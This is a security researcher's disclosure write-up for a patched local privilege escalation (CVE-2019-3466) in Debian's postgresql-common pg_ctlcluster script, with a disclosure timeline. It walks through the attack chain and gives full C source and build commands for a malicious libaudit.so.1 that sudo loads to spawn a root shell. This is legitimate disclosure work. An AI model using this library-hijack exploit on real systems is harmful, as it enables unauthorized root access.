Vulnerability Summary

The pg_ctlcluster script in the postgresql-common package in Debian and Ubuntu is vulnerable to a local privilege escalation attack. pg_ctlcluster is a script used to manage PostgreSQL instances. A malicious actor with access to the postgres account can create arbitrary directories during startup or reload when called via systemd. This vulnerability can be leveraged to escalate privileges to root.

It’s important to note this is not a vulnerability in PostgreSQL and is specific to Debian, Ubuntu, or any system that consumes the Debian postgresql-common package.

A fix is now available. Administrators should upgrade to the latest version of the postgresql-common package. See the Debian security tracker for details.

The vulnerability appears to have existed since 2013 based on the Debian Git history (9dc97b, e97d16). I attempted to reproduce it on Wheezy but was unable to verify it due to unrelated technical issues standing up a test environment.

This proof of concept will show the ability to gain root privileges using the default
installation of  postgresql-common v200+deb10u2 along with postgresql-11 on Debian Buster. I have also verified the vulnerability on Ubuntu 19.04 with version 199 of the postgresql-common package.


Walkthrough

The postgresql init script(/etc/init.d/postgresql) sources init.d-functions which contain functions that call the pg_ctlcluster script. pg_ctlcluster loads the following configuration files determined by the Pgcommon module.

  • /etc/postgresql/cluster-version/cluster-name/pg_ctl.conf
  • /etc/postgresql/cluster-version/cluster-name/postgresql.conf
  • /var/lib/postgresql/cluster-version/cluster-name/postgresql.auto.conf

These files are owned by the postgres user. The postgresql.auto.conf file will override the settings from /etc/postgresql. This file is created when the alter system command is executed.

pg_ctlcluster contains logic to create directories for socketdir(defined in pg_ctl.conf) and stats_temp_directory(defined in postgresql.conf). During a start or reload, if the directories defined in either of these variables do not exist, pg_ctlcluster will create it and set the owner to the postgres user.

debian-200-deb10u2-vuln-code
Vulnerable code in 200+deb10u2

With the ability to create an arbitrary directory owned by the postgres user I set out to find a fast path to root. I executed the strace(1) utility on the sudo binary to see if there were any attempts to load shared objects from nonexistent locations.

postgres@debian:~$ strace -ff sudo 2>&1|grep '.so.' |grep -w ENOENT
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/sudo/tls/haswell/x86_64/libaudit.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/sudo/tls/haswell/libaudit.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/sudo/tls/x86_64/libaudit.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/sudo/tls/libaudit.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/sudo/haswell/x86_64/libaudit.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/sudo/haswell/libaudit.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/sudo/x86_64/libaudit.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/sudo/libaudit.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/sudo/libselinux.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/sudo/libutil.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/sudo/libpthread.so.0", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/sudo/libdl.so.2", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/usr/lib/sudo/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

I reviewed the list and decided that /usr/lib/sudo/haswell would be a good candidate.

postgres@debian:~$ ls -ld /usr/lib/sudo/haswell
ls: cannot access '/usr/lib/sudo/haswell': No such file or directory

At this point we have a privileged binary(sudo) attempting to load /usr/lib/sudo/haswell/libaudit.so.1 from a path does not exist. The goal now was to create this path, install a malicious libaudit.so.1 library and execute sudo. If all goes well a root shell will be spawned.

For the purpose of a simple PoC, I created a sudo rule to quickly restart the postgres service via systemd to demonstrate the vulnerability. In the real world this rule probably will not exist under the postgres account, however there could be other methods to induce a restart. Worse case an attacker would have to wait until the system was rebooted or some other event to cause the service to restart via systemd.

I automated the process by creating two scripts which can be found in my Github repo. CVE-2019-3466-stage1.sh sets stats_temp_directory to /usr/lib/sudo/haswell. After a restart, CVE-2019-3466-stage2.sh builds a malicious libaudit.so.1 library,  stores it in /usr/lib/sudo/haswell, and executes sudo which spawns a root shell. Below is the source for libaudit.so.1 library. I had to add stubs for audit_open() and audit_log_user_message().

Note: This has the potential to break sudo and should only be used in a controlled test environment. No attempt was made to make it reliable so use with caution.

/*
 * Author: Rich Mirch @0xm1rch
 * PoC for pg_ctlcluster arbitrary directory creation
 * gcc -fPIC -o woot.o -Wall -c woot.c
 * gcc -Wall -shared \
 *     -Wl,-soname,libaudit.so.1 \
 *     -Wl,-init,woot \
 *     -o /usr/lib/sudo/haswell/libaudit.so.1 woot.o
 * sudo
 */
#include 
#include 
#include 

void audit_open()
{
  return;
}

void audit_log_user_message()
{
  return;
}

void woot(){
  setreuid(0,0);
  setregid(0,0);
  execl("/bin/sh","/bin/sh",NULL);
}

Screenshot showing the execution of stage 1, a restart, and stage 2 resulting in a root shell.

debian-buster-postgres-root

Timeline

  • 2019-10-13: Report sent to Debian Security Team
  • 2019-10-14: Debian acknowledges report
  • 2019-11-13: Debian notified Ubuntu about upcoming release
  • 2019-11-14: Debian releases advisory and patch

 References